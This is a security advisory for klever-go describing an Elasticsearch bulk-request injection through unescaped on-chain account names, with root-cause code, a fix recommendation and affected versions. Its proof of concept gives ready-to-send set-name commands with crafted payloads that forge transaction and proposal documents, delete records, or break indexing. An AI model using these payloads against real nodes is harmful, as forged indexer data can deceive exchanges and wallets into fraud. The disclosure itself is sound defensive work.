Skip to content

GHSA-7c7c-373r-gfjj CVE-2026-82409 GO-2026-6585

Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery

High Go
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.34%
Chance of exploitation in the next 30 days. Higher than 27.57% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-116 Improper Encoding or Escaping of Output
Fix
1.7.20
Upgrade github.com/klever-io/klever-go to this version or later

Description

Component: Elasticsearch indexer (indexer/) Primary location: indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) Entry point: SetAccountName native transaction (contract type 12) — core/process/transaction/txProcess.go:688


Description

When the node indexes account updates to Elasticsearch, it builds the ES _bulk painless-script line by splicing the account's name directly into JSON with fmt.Sprintf("%s", ...) and no escaping:

// indexer/common.go:2395-2407  (serializedDataForUpdateAccounts)
serializedData := []byte(fmt.Sprintf(`{"script":{"source":"`+
    `ctx._source.name = params.name; ... `+
    `","lang": "painless","params":`+
    `{"name": "%s", "nonce": %d, "rootHash": "%s", "balance": %d, ...}}}`,
    acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...))   // acc.Name is RAW

acc.Name originates from on-chain account state: indexer/accountInfo.go:31 sets Name: string(userAccount.GetName()). An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the SetAccountName handler:

// core/kapp/accounts/accounts.go:1740
if !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... }  // MaxNameSize = 100

The only constraints are valid UTF-8 and length ≤ 100 bytes. Double-quote ("), backslash (\), and newline (\n) are all valid UTF-8 and are not rejected. The safe helper converters.JsonEscape() exists and is used for _id fields elsewhere in the same file (common.go:893, :932, :961) but is not applied to the name.

The resulting buffer is POSTed verbatim to Elasticsearch _bulk by elasticClient.DoBulkRequest (indexer/elasticClient.go:128), with the index in the URL. The _bulk body is NDJSON — newline-delimited action/source pairs (indexer/data/buffer.go:45 appends a \n after every entry). Therefore a name containing a quote and newlines can

  • inject arbitrary keys/structure into the document,
  • break the batch, and
  • inject entirely new bulk operations targeting other documents and other indices.

SetAccountName is a first-class transaction contract type (= 12) dispatched natively at txProcess.go:688 via SetAccountName(tx.GetSender(), tc). The attacker names their own account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in KleverSetAccountName, but that path is not needed.)

The name is written into consensus account state (userAccount.SetName, data/state/userAccount.go:76) and replicated to all nodes. The indexer reads it from state, not from the transaction, during each node's own block processing (core/process/block/block.go:1141 SaveBlock / SaveAccounts). Consequently:

  • The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough.
  • Indexers typically run on observer/gateway nodes that power the public explorer/API — exactly the realistic victim.
  • The payload is durable and replayable: a newly stood-up indexer, or a historical re-index (import-DB mode, cmd/node/startup.go:153), re-reads the name from state and re-fires the injection.

Escalation — from denial-of-indexing to arbitrary ES document CRUD

Elasticsearch _bulk fails a malformed line differently by position: malformed action line → whole-batch HTTP 400 (nothing applies); malformed source line → per-item error (other items still apply). By appending a sacrificial action after the forged op, the serializer's fixed template tail (", "nonce":...}}}) lands in a source position (item-level error), so a clean forged op that precedes it is applied. This yields arbitrary create / overwrite / delete of documents in any index the indexer's ES credentials can write — cross-index via {"index":{"_index":"...", "_id":"..."}}.

Deployment amplifier (default ES config)

The Elasticsearch config klever ships (docker/elasticsearch/elasticsearch.yml, docker/docker-compose.yml) sets xpack.security.enabled: false, network.host: 0.0.0.0, publishes 9200:9200, and CORS * with POST,PUT,DELETE. The node's default config/node/external.yaml connects with empty username/password. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, this injection is the remote bridge that reaches that private ES through the node's own trusted connection.


POC

The entire attack is a single SetAccountName transaction the attacker sends from any funded account, naming its own account with a crafted payload.

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}'

This submits contract type 12 (SetAccountNameContract) with:

Name = "}}}⏎{"index":{"_index":"transactions","_id":"t"}}⏎{"status":"success"}⏎{"index":{}}

(84 bytes ≤ MaxNameSize 100; ⏎ = literal \n. On-chain Name is []byte, i.e. base64 In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319.)

{ "update": { "_index":"accounts", "_id":"<attacker>" } }
{"script":{ ... ,"params":{"name": ""}}}
{"index":{"_index":"transactions","_id":"t"}}    ← forged bulk action
{"status":"success"}                             ← forged doc → written to `transactions`
{"index":{}}", "nonce":1, ... }}}                ← sacrificial op absorbs the template tail

Observed result: a forged document {"status":"success"} with _id:"t" appears in the transactions index — the attacker never submitted any such transaction:

GET transactions/_doc/t

{ "found": true, "_source": { "status": "success" } }

Escalation variants — same delivery, only the Name changes

Each is a single SetAccountName tx sent the same way; only the payload differs.

Denial-of-indexing (2-byte name — breaks the batch, drops every co-batched account update):

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"'

Cross-index write / forge a document (e.g. a governance proposal doc; 82 bytes):

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}'

Delete a document (e.g. proposal id 5; 61 bytes):

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}'

Impact

A single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch _bulk stream of every node that indexes the chain now or in the future. Two tiers of impact:

  1. Denial-of-indexing A name containing a single " or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently dropped → the explorer/API serves stale data. Repeatable every block.

  2. Arbitrary document CRUD across all indexer indices (escalation). Using the sacrificial-op construction, the attacker can create/overwrite/delete documents in any klever index the indexer writes (transactions, blocks, accounts, proposals, assets, marketplaces, ...): forge "successful" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forged status:success transaction).

Amplifiers: the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.


Recommendation

  1. Escape the name . Never splice on-chain strings into JSON with fmt.Sprintf. Either apply the existing converters.JsonEscape() to acc.Name (mirror the _id handling), or preferably build the entire bulk source with json.Marshal of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every fmt.Sprintf-built bulk/script line in indexer/common.go for the same pattern (RootHash and other %s fields on this and nearby paths).

  2. Restrict the on-chain account-name charset at SetAccountName (accounts.go:1740) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.

Affected versions

Go

PackageVulnerableFixed in
github.com/klever-io/klever-go
< 1.7.20
1.7.20

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/klever-io/klever-go Go → 1.7.20

go
go get github.com/klever-io/klever-go@v1.7.20 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
High
Availability (subsequent systems)
Low

Weakness

CWE-116: Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
  • Architecture and Design, Implementation: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • Architecture and Design: In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
  • Architecture and Design: Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
  • Requirements: Fully specify which encodings are required by components that will be communicating with each other.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-9wh6-9hq7-9688
Klever-Go: Validator registration accepts an unvalidated BLS public key → consensus liveness DoS
High Also affects github.com/klever-io/klever-go
GHSA-26r5-4mm2-px5c
Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace
High Also affects github.com/klever-io/klever-go
GHSA-97cv-x867-6xhm
Klever-Go Account takeover: `kleverUpdateAccountPermission` authorizes on attacker-controlled `RecipientAddr` instead of the authenticated caller
High Also affects github.com/klever-io/klever-go
GHSA-4fwh-wrm6-97xm
Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -> remote node memory/goroutine exhaustion (DoS)
High Also affects github.com/klever-io/klever-go
GHSA-9v8p-frvj-2pcm
Klever-Go: /log controls global node logging
High Also affects github.com/klever-io/klever-go
GHSA-mrpp-v6pg-p54x
klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply
High Also affects github.com/klever-io/klever-go
GHSA-v358-wf77-39xv
klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits
High Also affects github.com/klever-io/klever-go
GHSA-cgc5-v3f2-8m2v
Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)
Critical Also affects github.com/klever-io/klever-go
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor